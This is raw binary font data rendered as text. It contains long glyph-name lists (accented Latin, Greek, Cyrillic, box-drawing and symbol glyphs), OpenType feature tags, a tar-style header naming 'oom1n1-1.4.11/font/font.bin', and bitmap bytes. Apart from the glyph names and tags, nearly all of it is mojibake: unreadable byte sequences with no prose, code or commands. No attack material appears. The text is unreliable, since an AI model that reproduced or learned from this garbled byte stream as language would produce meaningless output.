Scircumflexuni1E66uni015Euni0218uni1E60uni1E62uni1E9ETcaronuni0162uni021Auni1E6Cuni1E6ETbarUtildeUmacronUbreveUring Uhungarumlautuni01D3Uogonekuni01D5uni01D7uni01D9uni01DBuni1EE4uni1EE6Uhornuni1EE8uni1EEAuni1EECuni1EEEuni1EF0uni1E7EWgraveWacute Wcircumflex WdieresisYgrave Ycircumflexuni1E8Euni1EF4uni1EF6uni1EF8Zacute Zdotaccentuni1E90uni1E92uni1E94uni018FEngIJuni004C00B7004C uni01320301amacronabreve aringacuteuni01CEaogonekuni1EA1uni1EA3uni1EA5uni1EA7uni1EA9uni1EABuni1EADuni1EAFuni1EB1uni1EB3uni1EB5uni1EB7aeacuteuni01E3uni0180uni1E07 ccircumflex cdotaccentdcaronuni1E0Duni1E0Funi1E11ecaronemacronebreveeogonek edotaccentuni1EB9uni1EBBuni1EBDuni1EBFuni1EC1uni1EC3uni1EC5uni1EC7uni1E17uni01F5 gcircumflex gdotaccentuni0123gcaronuni1E21 uni00670303 hcircumflexuni1E27uni1E25uni1E96uni1E29uni1E2Bhbaritildeimacronuni01D0iogonekuni1EC9uni1ECBibreve jcircumflexuni0137uni1E33uni1E35 kgreenlandiclacutelcaronuni013Cuni1E37uni1E39uni1E3Bldotuni1E3Funi1E41uni1E43nacuteuni01F9ncaronuni0146uni1E45uni1E47uni1E49 napostropheomacron ohungarumlautuni01D2uni01EBuni1ECDuni1ECFuni1ED1uni1ED3uni1ED5uni1ED7uni1ED9obreveuni1E53ohornuni1EDBuni1EDDuni1EDFuni1EE1uni1EE3 oslashacuteracuteuni0157rcaronuni1E59uni1E5Buni1E5Duni1E5Fsacute scircumflexuni1E67uni015Funi0219uni1E61uni1E63longstcaronuni0163uni021Buni1E6Duni1E6Funi1E97tbarutildeumacronubreveuring uhungarumlautuni01D4uogonekuni01D6uni01D8uni01DAuni01DCuni1EE5uni1EE7uhornuni1EE9uni1EEBuni1EEDuni1EEFuni1EF1uni1E7Fwgravewacute wcircumflex wdieresisygrave ycircumflexuni1E8Funi1EF5uni1EF7uni1EF9zacute zdotaccentuni1E91uni1E93uni1E95enguni0237ijuni006C00B7006C uni01330301uni0250uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0251uni0299uni0259uni025Auni025Buni025Cuni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni029Cuni0268uni026Auni029Duni029Euni026Buni026Cuni026Duni026Euni029Funi026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0278uni0279uni027Auni027Buni027Duni027Euni0280uni0281uni0282uni0283uni0284uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni02A4uni02A6uni02A7uni0294uni0295uni02A1uni02A2uni01C2uni0298 uni014A.aa.aagrave.aaacute.a acircumflex.aatilde.a adieresis.a amacron.aabreve.aaring.a aringacute.a uni01CE.a uni1EA1.a uni1EA3.a uni1EA5.a uni1EA7.a uni1EA9.a uni1EAB.a uni1EAD.a uni1EAF.a uni1EB1.a uni1EB3.a uni1EB5.a uni1EB7.a aogonek.ag.a uni01F5.a gcircumflex.agbreve.a gdotaccent.a uni0123.agcaron.a uni1E21.a uni00670303.ai.a dotlessi.aigrave.aiacute.a icircumflex.aitilde.a idieresis.a imacron.a uni01D0.a iogonek.a uni1EC9.a uni1ECB.a uni012D.a uni0268.a iogonek.d iogonek.da uni0268.d uni0268.da uni029D.dl.alacute.alcaron.a uni013C.a uni1E37.a uni1E39.a uni1E3B.alslash.aldot.auni006C00B7006C.a uni026B.a uni026C.aAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiuni03A9 Alphatonos EpsilontonosEtatonos Iotatonos Iotadieresis Omicrontonos UpsilontonosUpsilondieresis Omegatonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigmatauupsilonphichipsiomegauni03C2uni03D0uni03D1uni03D5phi.a alphatonos epsilontonosetatonos iotatonos iotadieresis omicrontonos upsilontonosupsilondieresis omegatonosiotadieresistonosupsilondieresistonosuni03D7uni03D9uni03DBuni03DDuni03E1uni037E anoteleia anoteleia.capuni0374uni0375tonos tonos.cap dieresistonosuni037Auni1FBEuni1FBDuni1FBFuni1FFEuni1FEFuni1FFDuni1FCDuni1FDDuni1FCEuni1FDEuni1FCFuni1FDFuni1FC0uni1FEDuni1FEEuni1FC1 uni1FBD.cap uni1FFE.cap uni1FEF.cap uni1FFD.cap uni1FCD.cap uni1FDD.cap uni1FCE.cap uni1FDE.cap uni1FCF.cap uni1FDF.capuni0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0462uni0472uni0474uni0490uni0492uni0496uni0498uni049Auni04A0uni04A2uni04AAuni04AEuni04B0uni04B2uni04B6uni04BAuni04C0uni04C1uni04D0uni04D4uni04D6uni04D8uni04E2uni04E6uni04E8uni04EEuni04F2uni0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0463uni0473uni0475uni0491uni0493uni0497uni0499uni049Buni04A1uni04A3uni04ABuni04AFuni04B1uni04B3uni04B7uni04BBuni04C2uni04CFuni04D1uni04D5uni04D7uni04D9uni04E3uni04E7uni04E9uni04EFuni04F3 uni0430.a uni04D1.a uni0431.srb uni0456.a uni0457.a uni04CF.auni2116zero.aone.a zero.onumone.onumtwo.onum three.onum four.onum five.onumsix.onum seven.onum eight.onum nine.onumzero.bone.bzero.capone.captwo.cap three.capfour.capfive.capsix.cap seven.cap eight.capnine.capzero.cone.c quotereverseduni00ADuni2010 figuredashuni2015uni25E6uni25AAuni25ABuni25B4uni25B5uni25B8uni25B9uni25BEuni25BFuni25C2uni25C3 invbullet filledrect underscoredbluni203Euni203Funi2016 exclamdbluni2047uni2049uni2048uni203Duni2E18uni231Cuni231Duni231Euni231Funi27E6uni27E7uni2E22uni2E23uni2E24uni2E25uni2117uni2120at.case asterisk.ahyphen.a uni00AD.a uni2010.adollar.a zero.supsone.supstwo.sups three.sups four.sups five.supssix.sups seven.sups eight.sups nine.supsparenleft.supsparenright.sups period.sups comma.sups zero.subsone.substwo.subs three.subs four.subs five.subssix.subs seven.subs eight.subs nine.subsparenleft.subsparenright.subs period.subs comma.subs zero.dnomone.dnomtwo.dnom three.dnom four.dnom five.dnomsix.dnom seven.dnom eight.dnom nine.dnomparenleft.dnomparenright.dnom period.dnom comma.dnom zero.numrone.numrtwo.numr three.numr four.numr five.numrsix.numr seven.numr eight.numr nine.numrparenleft.numrparenright.numr period.numr comma.numr ordfeminine.aa.supsb.supsc.supsd.supse.supsf.supsg.supsh.supsi.supsj.supsk.supsl.supsm.supsn.supso.supsp.supsq.supsr.supss.supst.supsu.supsv.supsw.supsx.supsy.supsz.sups egrave.sups eacute.sups eogonek.sups uni0259.sups uni0266.supsuni02E0uni02E4a.supag.supai.supa colon.sups hyphen.sups endash.sups emdash.supsEurouni0192 colonmonetarylirauni20A6pesetauni20A9donguni20B1uni20B2uni20B4uni20B5uni20B9uni20BAuni20AEuni20B8uni20BDuni2215 slash.fraconethird twothirdsuni2155uni2156uni2157uni2158uni2159uni215Auni2150 oneeighth threeeighths fiveeighths seveneighthsuni2151uni2152uni2189uni2219 equivalence revlogicalnot intersection orthogonaluni2032uni2033uni2035uni00B5 integraltp integralbtuni2206uni2126uni2200uni2203uni2237uni2105uni2113 estimateduni2190arrowupuni2192 arrowdownuni2196uni2197uni2198uni2199uni21D0uni21D1uni21D2uni21D3 arrowboth arrowupdn arrowupdnbseuni25CFuni25CBuni25A0uni25A1uni2752uni25C6triagupuni25B3uni25B6uni25B7triagdnuni25BDuni25C0uni25C1triagrttriaglf invcircleuni25C9uni2610uni2611uni2713 musicalnotemusicalnotedblheartclubdiamondspade smileface invsmilefaceuni2764uni2615u1F4A9u1F916u1F512femalemalesunhouseuni02B9uni02BBuni02BCuni02BEuni02BFuni02C1uni02D0uni02D1uni02DEuni02C8uni02C9uni02CAuni02CBuni02CCuni25CCuni0300 uni0300.capuni0340uni0301 uni0301.cap uni0301.guni0302 uni0302.capuni0303 uni0303.capuni0304 uni0304.capuni0305 uni0305.capuni0306 uni0306.c uni0306.cap uni0306.ccapuni0307 uni0307.capuni0308 uni0308.capuni0309 uni0309.capuni0310 uni0310.capuni030A uni030A.capuni030B uni030B.capuni030C uni030C.cap uni030C.auni030F uni030F.capuni0311 uni0311.capuni0312 uni0312.guni0313uni0343uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0323uni0324uni0325uni0326 uni0326.auni0327 uni0327.capuni0328 uni0328.capuni0329uni032Auni032Cuni032Euni032Funi0330uni0331uni0334uni0339uni033Auni033Buni033Cuni033Duni0342 uni0342.capuni0345uni035Funi0361 uni03080301uni03080301.cap uni03080301.g uni03080300uni03080300.cap uni03080300.g uni03080303 uni03080304uni03080304.cap uni0308030Cuni0308030C.cap uni03020301uni03020301.cap uni03020300uni03020300.cap uni03020309uni03020309.cap uni03020303uni03020303.cap uni03060301uni03060301.cap uni03060300uni03060300.cap uni03060309uni03060309.cap uni03060303uni03060303.cap uni03020306uni03020306.cap uni03040301uni03040301.cap uni030C0307uni030C0307.cap uni03120301 uni03120300 uni03120303 uni03130301 uni03130300 uni03130303uni00A0uni2007 space.frac nbspace.fracuni2500uni2501uni2502uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250Buni250Cuni250Duni250Euni250Funi2510uni2511uni2512uni2513uni2514uni2515uni2516uni2517uni2518uni2519uni251Auni251Buni251Cuni251Duni251Euni251Funi2520uni2521uni2522uni2523uni2524uni2525uni2526uni2527uni2528uni2529uni252Auni252Buni252Cuni252Duni252Euni252Funi2530uni2531uni2532uni2533uni2534uni2535uni2536uni2537uni2538uni2539uni253Auni253Buni253Cuni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254Funi2550uni2551uni2552uni2553uni2554uni2555uni2556uni2557uni2558uni2559uni255Auni255Buni255Cuni255Duni255Euni255Funi2560uni2561uni2562uni2563uni2564uni2565uni2566uni2567uni2568uni2569uni256Auni256Buni256Cuni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Funi2580uni2581uni2582uni2583uni2584uni2585uni2586uni2587uni2588uni2589uni258Auni258Buni258Cuni258Duni258Euni258Funi2590uni2591uni2592uni2593uni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259Funi202FuniFEFFu1F3B5u1F3B6f_if_luniE0A0uniE0A1uniE0A2uniE0B0uniE0B1uniE0B2uniE0B3ideoromnDFLTcyrlgreklatn ÿV Èt  !!""#')13577::==@@MM[[^^eevv††””¥¥ªª²²»»ÜÜããþÿ    $$**00??BBQQUU\\aassww››¬¬³³ÍÏÐÐÑÒÓÙÛÜÞÞààãðòõøùþ    ##&&56;;?@HHLNQRYY\^bbddffllnnqquu……‡‡’’ÏÏÔÔÖÖÙÙÝÝââêêììîî  $%'-0146KLee®®úúûEHnû#11BDHn Ì(DFLTcyrl.grekXlatnlÿÿ SRB ÿÿ !ÿÿ "ÿÿ #ATH &NSM 6SKS Fÿÿ $ÿÿ %ÿÿ&ÿÿ'(ccmpòccmpúccmpccmp ccmpccmpccmp"ccmp*frac2frac8frac>fracDfracJfracPfracVfrac\markbmarkvmarkŠmarkžmark²markÆmarkÚmarkîmkmkmkmkmkmkmkmkmkmkmkmk mkmk&mkmk,size2size6size:size>sizeBsizeFsizeJsizeN                 d&.8BJT\dlt|„ŒvxzŒ”¦®°º¸h‚® z ¦ Ø `  Pÿ°  ÿtŒ  ô â î 8 Ö Ä & ^þÔý¨ ^þÔý¨ \ý¨ | ž ZSÀÆÀÀÆÀÀÆÀÆÀÆÀÆÀÀÆÆÀÆÀÆÀÆÀÆÀÆÀÆÀÆÀÆÀÆÀÀÀÀÀÀÀÆÀÆÀÀÆÀÀÀÆÀÆÀÆÀÆÀÆÀÆÀÆÀÆÀÆÀÆÀÆÀÆÀÆÀÀÀÀÀÀ¸x~x„Šxx–œ¢x¨®´ºxxxxxºÀÆÌÒØÞääêðörürr x&,œx¢xx2xxººÀä8ðrrÆö8 >DJPV\Àböhnrrtzzrär€ðð†Œ’˜ ž¤ªÀ°¶¼rÂrrÈrüÎÔÚàæìhòøòò8þ8x„xxx¨xx  rx„"(x.x4"x.x&xÀ:@ÀFrrrüÌrLRrXrhr,, a C M J H B Á @ 1¢- ? @’ÜV½ÜÜ‘ÜYù¥ÜÜ;C4`8’(H‡ ) v Y>Ü"TŸÜÀÜ×6R%Ü'rÜÁ*PššÜf…Üù’3dÜ)J’ Ú,Ü.Ü9EùEEGÜBL$> F 4  OD\&ð› Z `   ,à D L hh.djpv|‚^ˆ^Ž”^^𠦬²¸¾ÄÊÐ^ÖÜâèî ôúÄ Ä ^,WB±‹O1ð@×V'‘b>Ö¿7wÍÙÔ­6ÓNMxš jZZZZZZZZZZZZZZZZZZZZZZZ}üüüü &ü,28üü>üüDüJPV\Vbhntüz€†Œ’˜üüž¤ª°&üüV¶bnü˜z¼h¶DDÂÈÎüV2ÔÚààæìüòJ¼übüøþn ""(.†¶4:@FüŒüü¶üLRX^2Và   ø    üüü>dü,ÿìUÿì*ÿìDÿì´ÿìCÿìEÿìOÿìŒÿì@ÿì0ÿì-ÿì8ÿì6ÿìTÿì4ÿì%ÿìYÿìöÿ3oÿì2ÿì’ÿ3Áÿ3Áÿì3ÿìqÿì9ÿì ÿ37ÿìLÿì"ÿì.ÿìDÿ3ÿìhÿì<ÿ3Ïÿì(ÿì*ÿ3Bÿì,ÿ$£ÿIÖÿ3Âÿ3oÿ3nÿ3Nÿì ÿ3Wÿ3ÿì4ÿ3-ÿ36ÿ3ãÿ3Vÿyqÿ3ÿ$RÿìKÿ3ÿìŽÿìÄÊ  ,ø³ZoJo¢¨ ",𨂖ð¡ðz‚ HHDJ>>>>PV>\bDDDJ>hPPPnV>JJJJtt>,î®°`¦!ÿ©6‘Lœ2 ZShnhhnhhnhnhnhnhhnnhnhnhnhnhnhnhnhnhnhhhhhhhnhnhhnhhhnhnhnhnhnhnhnhnhnhnhnhnhnhhhhhh &&,28822>DJP,, ,ü,â,º,™,ñ,#,Û,ÊGF,!#$%&'/(aš¡ÌÍÐÕØÙãéêìîðñòóýÿ #"%+,4ÍÎÐØâãäæèêîïòóö÷øùý hjFGûE JJJMMKinLRû# 11(BD)Hn,¸ !#$%&')*+,-./01345@M[e†”ª²»Üãþÿ QUaw¬³ÍÎÏÓÔÕÖרÙÛÜÞàãäåæçèéêëìíïðòóôõøùþÿ    56?@HLMNQRY\]^bdflnqu…‡’ÏÔÖÙÝâêìî $%'()*+,-01456KLeú&ú23. !#$')*-./035M»þUÖÛì?@LRY\]ú$%(06< >AEE} !#$%&')*+,-./01345M[”²ãþÿUa³ÍÎÏÓÔÕÖרÙÛÜÞàãäåæçèéêëìíîïðòóôõøùþÿ    6?@LQRY\]^du…ú= 'Rú'*ú45 $*047:=^¥þ *Us #&?@ú ûþ    –¦DFLTcyrlfgreklatnRÿÿ! (08@HPX`hpx€ˆ•¥­µ½ÅÍÕÝåíõý SRB Tÿÿ" !)19AIQYaiqy‰–ž¦®¶¾ÆÎÖÞæîöþÿÿ" "*2:BJRZbjrz‚Š‘—Ÿ§¯·¿ÇÏ×ßçï÷ÿÿÿ" #+3;CKS[cks{ƒ‹’˜ ¨°¸ÀÈÐØàèðøATH ^NSM ¦SKS ðÿÿ! $,4<DLT\dlt|„Œ™¡©±¹ÁÉÑÙáéñù ÿÿ! %-5=EMU]emu}…š¢ª²ºÂÊÒÚâêòú ÿÿ"&.6>FNV^fnv~†Ž“›£«³»ÃËÓÛãëóû ÿÿ"'/7?GOW_gow‡”œ¤¬´¼ÄÌÔÜäìôü  casePcaseVcase\casebcasehcasencasetcasezccmp€ccmpŽccmpœccmpªccmp¸ccmpÆccmpÔccmpâcv01ðcv01öcv01ücv01cv01cv01cv01cv01cv02 cv02&cv02,cv022cv028cv02>cv02Dcv02Jcv04Pcv04Vcv04\cv04bcv04hcv04ncv04tcv04zcv06€cv06†cv06Œcv06’cv06˜cv06žcv06¤cv06ªcv07°cv07¶cv07¼cv07Âcv07Ècv07Îcv07Ôcv07Úcv08àcv08æcv08ìcv08òcv08øcv08þcv08cv08 cv09cv09cv09cv09"cv09(cv09.cv094cv09:cv10@cv10Fcv10Lcv10Rcv10Xcv10^cv10dcv10jcv11pcv11vcv11|cv11‚cv11ˆcv11Žcv11”cv11šcv12 cv12¦cv12¬cv12²cv12¸cv12¾cv12Äcv12Êcv14Ðcv14Öcv14Ücv14âcv14ècv14îcv14ôcv14úcv15 cv15 cv15 cv15 cv15 cv15 cv15 $cv15 *cv16 0cv16 6cv16 ss06 Dss06 Jss07 Pss07 Vss07 \ss07 bss07 hss07 nss07 tss07 zsubs €subs †subs Œsubs ’subs ˜subs žsubs ¤subs ªsups °sups ºsups Äsups Îsups Øsups âsups ìsups özerozerozero zerozerozerozero$zero*        @:4.(" úôüöðêäÞØÒÚÔÎȼ¶°¸²¬¦ š”Ž–Š„~xrltnhb\VPJRLF@:4.(0*$ üöðêäìæàÚÔÎÈÂÊľ¸²¬¦ ¨¢œ–Š„~†€ztnhb\                                  üôìäÜØÐÈÀ¸°¨ œ’ˆ~tj`VPJD>82,&$ üôìèâÜÖÐÊľ¼ ¶ ° ª ¤ ž ˜ ’      $JRZbjr~В𤬴¼ÄÎÖÞæîöþ&.6>FNV^fn,*0.,zŒž¤¸ÌÒÔÊÜäþ 2<x’˜²° Vh¦¤¢ žœš˜–”ªøý!#L  &,28>DJP  ** UØäØäØÒÎÔÚ!ÀÆ!ú²"ú:d¦Ø $UûSþYc W $]û[þa_aC$*06<KûMýHþJNOQNC &,jûjýiþikkC &,mûmýlþlnnCþ,6@JT`jt~ˆ’¤®ÂÌÖàêô@4e4v†4® ª4Ü4 4$04 B?2Q4Ñ®'\w4›¬4þÒþ;2*v"ªd"Þ !$%"#¼    °£°º#°À#¸®#¶)*+,-./0123456789:;<=>?@ABCDEFGîïðñòóôõö÷úûøùrMNOPèüýþÿ N R9®…†‡ˆ‰Š‹ŒŽ…†‡ˆ‰Š‹ŒŽçüÿ  35CILPRTVXZ\^`bdfP !"#$%&'(5)*+,-./01234ef'J: 6789:;<=>K6 ?RABCDEFGHIJK@STUVWXYZ[L\]NPhijL4444 8C<<ÿ›< < @ M4N4*(UÏMOQNPüÿ  35CILPRTVXZ\^`bdf(q    rÿûþ "   _b£¦+.qtöA_£+q b¦.tþöA$4ûþ   CHKOQSUWY[]_ace?$%QìîHL !#  "$'*/0Ð6 6Y[[>]x?zz[|Å\ÇʦÌèªêøÇúÖ^~ÝÏþ!ûþ   24CHKOQSUWY[]_ace!üÿ  35CILPRTVXZ\^`bdfmv‘’ Á Ç!o hj% qr5)*00ÝÝéé“§ª«mv9Ò­mnopqrstuvxyz{|}~€‚æûþ   24CHKOQSUWY[]_ace\\&&))"";B//  $'JKLMNOPQRSTU[\]^_`abÑìðñMO@A[1€†“my…§©ËRnnz†$?($%QìîHLûþ   24CHKOQSUWY[]_ace%oom1n1-1.4.11/font/font.bin000066400000000000000000000276001453754430200147740ustar00rootroot00000000000000Cÿs8ÿk&ÿYÿFæ/ W‚ÿµSóþÿÐÿ2õøÅÿ(ÖÙ¦þ ¯²âKM2e¤_`£Á?}ƒìÿÿÿÿhü!Á] ðÍ4&õþôþõ)l½/÷$v1Óð<H÷“ÿôÿÚØë8nþô¢&.—õïŽ_(žÿ9Æÿÿÿ­%ôSð<-ÚæE$V ˜qÇØœœœvÚ‰'ÒÞ= 7"ÍâHÓ§hÑ~ß“¤dÑ)%ÖéMHéèOÙ­«Éã¨ÖŸŸÿÆSyFûúÓâ´¬ú8ñïÿA“ÿ£ÿþ™ °÷à€‹±hÿš]ÿ>ÿqÿJ€d!]ýQîŒoú²Ä̪¿¶’å7ÿL©ßÍ^u+ð’[þ7Ú¢”å{ý‡ò·Æ!ùj¼Ö4Þ)éH ù0;ÁùÿúÖ3£ÿÕ3ï@Ýc(C*C”% ÿ@ÿC(ÿÿÿÿÿ\4=ÿg4 ÿ@ ^$˜ÿæb÷ÿdõdôsTJ(ÿÿÿÿÿ\44444C»bÀÿïmô–[ýÀ·%ÿRŠèéˆUþ$º½ þX„ìåŽ"ÀøÔ<ÃãoÊê %ÿj9ÿXFÿ`±LÿyEÿpæfÿw"ÿm=ÿUÀänËè!ÀùÔ;;òÄœäÿÄÿÄÿÄÿÄÿÄhhÿÜh2 ÿÿÿÿÿ|~äøÂ'"çŽsõÎ ³ý é̬ù4¥ý_ ¶ÿ¾ux2Lÿÿÿÿÿl €ÚóÌS³†påù (Öç´ÿï4'UØçtÿU9ö”uàý(”éúÓP¸ÿ¼Yþõ¼è â¼šïç¼;þtéÀ “ÿÿÿÿÿ´%@@@îÍ-è¼§ÿÿÿÿµîxxxÃÏÐ÷õßvL]BÉÿ7nÿZ)éŽwäù ŽçùÏEäó©™ý™~¼ûŸ<ÿ¨×ø¥BÿÙKÿe ÿ†ÿƒ±îc¡ÿE¥ïä_@ÿÿÿÿÿxxxxÉô+#õl§æûYÿX‰ÿ7£ÿ"%ÅøÚPÏÔE¦÷ÞË lûNúññg€ÚªüÈ0ÿUVÿkü®?’ÿUXÖùåJÖ÷¿'÷Ä\ÞÝSÿJ_ÿH>ÿƒ—ÿk¯ÿÿ¼ÿh"jÿ9œ……òÈ ‘ìî¢C»bÀÿïjô”C»bÀÿïmô–jô”ÀÿïC¼b ^$˜ÿæb÷ÿdõdôsTJ+‚ù>Øðkqþ¥ˆú€eïÚD«ÿM(ÿÿÿÿÿ\ <<<<<(ÿÿÿÿÿ\44444.Ó£IÞë] …ù£`í¼)Àú†ÓÉ-P4ÌöÑAY³{ôäãà ÑÔOà8W ­ÿ‰xôX¥ðïд$1ÝZQï £‘‰®ÉØå˜›™næÁ˜‹«Ô帕Rë Ò©8·úøÏ œÿÎççÿ8ÿ{ÿj†þî¸ÔÜ»ù !ÿÿÿÿÿTpÿyD`ÿ¢½üéìÿÿüâ–ÿÇ_¹ÿRÿª ý4ÿÿÿÿ“ÿ»:{ÿyÿ¨ÿ·ÿÇ^¤ÿ‡ÿÿÿë— zßøÃ0—ÿÊØFýÒMÿ„Pÿ…"ÿÓ ¥ÿÌŽÜ}ˆåøÅ6(ÿÿó¾:(ÿĉíö((ÿœSÿ(ÿœÿ¸(ÿœÿ¶(ÿœXÿ‹(ÿÄ‹ïõ$(ÿÿõÀ8äÿÿÿÿHäïxxx!ää äÿÿÿÄäêPP=äàäïxxx0äÿÿÿÿh¼ÿÿÿÿt¼ÿ|xx6¼ÿ¼ÿ*$"¼ÿÿÿô¼ÿYTP¼ÿ¼ÿ˜êõ§¿ÿ¶˜Ý9ÿµjÿjmÿi(ÿÿAÿ­ NÿÈÿ±ÿŸíõ³'<ÿˆTÿp<ÿˆTÿp<ÿˆTÿp<ÿÅ„¬ÿp<ÿÿÿÿÿp<ÿˆTÿp<ÿˆTÿp<ÿˆTÿpÿÿÿÿÿP xžÿ¹x%Hÿ|Hÿ|Hÿ|Hÿ| xžÿ¹x%ÿÿÿÿÿP ÿÿÿÿ0HttÄÿ0”ÿ0”ÿ0”ÿ0"¤ÿ'ìÁ‘÷åsáøÎ:0ÿœgÿˆ0ÿœ%ôÇ0ÿ Êï0ÿöÿÁ0ÿÿæÿD0ÿÒöË0ÿœ‘ÿT0ÿœøØ¸ÿ ¸ÿ ¸ÿ ¸ÿ ¸ÿ ¸ÿ ¸ÿ~xx?¸ÿÿÿÿˆLÿ®{ÿ€LýïÀü€LûÛDòÛ€Lÿ¦¾»å€Lÿhÿoô€Lÿ-×!û€Lÿ(ü€Lÿ(ü€4ÿÐHÿh4ÿÿ9Hÿh4ÿä£Gÿh4ÿ›øRÿh4ÿqלÿh4ÿ{oãÿh4ÿ|õÿh4ÿ|ÿh1Æ÷ÖOèö“äû,\ÿMÿŽ‚ÿMÿµÿNÿ´Zÿ‚Nÿ‹ çö“äû+0Ç÷ÖNÿÿýßš ÿÉb§ÿƒÿ¨ ÿ³ÿ°lÿÿÿÿÿÌÿÀF.ÿ¨ÿ¨1Æ÷ÖOèö“äû,\ÿMÿ‚ÿNÿµ~ÿNÿ²YÿzFÿŒ èï{Øú,0ËÿìQÚùˆZ³óÖ(ÿÿüÜ(ÿÁc³ÿm(ÿœ&ÿ›(ÿ¥„ÿy(ÿÿÿÿÈ(ÿ¸yÿŽ(ÿœËú((ÿœ?ÿ¸,¿÷ç† áò‘¦Þ ýÚ¢ÿû­5ZËÿûCgÿ‘!ìÐŽ½ÿ_yÙúâz ÿÿÿÿÿÔKxžÿ¹xcHÿ|Hÿ|Hÿ|Hÿ|Hÿ|Hÿ|<ÿˆDÿp<ÿˆDÿp<ÿˆDÿp<ÿˆDÿp;ÿˆDÿo&ÿ™VÿYÝôŽÛù2ÇõÚV«ÿ+çÝ_ÿl'ÿ’ý¬fÿGÈë¥õ}ÿ,ä±1ÿÿfäöÿšÿÑäê—ÿÂù¤÷¡ÿ ÷[±ÙÿPÿ’¾º^ÿ•ÙÉÊ›<ÿÌ‹÷Õ|ÿú7öú]÷ûËÿ?bÿ’Gÿ•Ñ÷ºóEÿ°ÿ¹ÿé Óÿîeÿÿ‘ çÖÄû'ÿX?ÿ³“ÿKøÆú²sÿLžüÚÐ&ý¼ÿWªÿÚMÿHÿ|Hÿ|üÿÿÿÿ„rttëý9_ÿ‹îزý9]ÿ‹îü€xxCTÿÿÿÿÿ˜ûìà˜À˜À˜À˜À˜À˜À˜À˜ÀñèÝ厄ì!þXº½Uþ$鈊è&ÿRÀ·[ý±ìö̮̌̌̌̌̌̌̌̌èî€5†ÿ¹éœþ$ZùÚìzí Hÿÿÿÿÿ|<<<<<V:ÿ¨aúL'qÍôály‚f¿ÿ1HÃïýÿcû· Zÿl,ÿ¾jÔÿlïÓtÿl$ÿ $ÿŸ$ÿÅÐï“$ÿíÄÿY$ÿ ;ÿ•$ÿ Bÿ’$ÿâxÏÿD$ÿ–Ûít•èñ¹&¿ÿ¢s©!ÿ»#ÿºÉÿžu»+¥ïï³)lÿXkÿXRáì½ÿXøèzÊÿXbÿtlÿX_ÿqlÿX"ûãyÕÿX_ãæ‘ÿX&¸öè‚ ãÙeÿWGÿýüüÿ‰Gÿ£,,, äözb (·ôí®œî÷Ã]ÿ­cUÿÿÿÿÿ`TŸÿ‰TpÿPpÿPpÿPpÿPFÒûÿÿÐ öÎFáÛW û± ÎÑ•ÿüæEñ®hP5¼ùÿÿÿ¥GÿY Gð¸©ëûåž$ÿ $ÿŸ$ÿ±¿ö· $ÿø‘ÅÿY$ÿ Mÿy$ÿ Hÿ|$ÿ Hÿ|$ÿ Hÿ|FføÿAj ÿÿÿÿ\\Çÿ¨ÿ¨ÿ¨ÿ¨ÿFføÿAj ÿÿÿÿ\\Çÿ¨ÿ¨ÿ¨ÿ¬ÿ}iíÞDåùÒ?ÿ¬ÿ¬ÿ¬Œÿaÿ¬sÿsÿçþÆÿÿÖÿMÿÆÓèÿ¬8ý«hÿÿÿ<'`µÿ<ˆÿ<ˆÿ<ˆÿ<†ÿ=aÿ·r¨ôíT”Ý¿â‹îo”ÿ‘ÿ­ç×”ÿ ÿXÌä”ÿ ÿXÌä”ÿ ÿXÌä”ÿ ÿXÌä$ÿ•Âó· $ÿîo®ÿY$ÿ Kÿy$ÿ Hÿ|$ÿ Hÿ|$ÿ Hÿ|8Çø×VòåuÎý<`ÿs@ÿ“`ÿsAÿ’òåuÎþ<:ÊøÙX$ÿ±Ùï”$ÿâ\®ÿY$ÿ 7ÿ•$ÿ Dÿ’$ÿâxÑÿD$ÿÈÝít$ÿž$ÿ RáéŽÿXøèzÊÿXbÿtlÿX_ÿqlÿX"ûãyÕÿX_ãæ´ÿXkÿXlÿXœáEÔúpœüðˆi&œÿbœÿ(œÿ(œÿ(DÍöÞ˜æéUo¶ÿÐ5S™çÿEÀS•ÿbƒÝú匨ÜÅÜhÿÿÿÿÿ`"TïçTTèÜàâ´ÿ‚g1+Ëùëd@ÿ„xÿL@ÿ„xÿL@ÿ„xÿL=ÿˆzÿLÿ߆îÿLôÔjÿLqÿMø¤û¢[ÿG²ð°æSÿQöŒíÖÿ/”ÿÒàÐŒÿ¶òÿeªìÿcì™ÇÅdÿ°®Éà:ÿîeóùvÿÿ$íÿO"ôÇÿOiÿuñ­¾ÿñ Üÿè‘üYû¯<ý—ÿeeÿS ó§ç¼Yÿ@yþ$³×òŒùpŒûö*ÿŸd¾û%ùÚSÈÿÿÿÿcG\ÿØåí$ 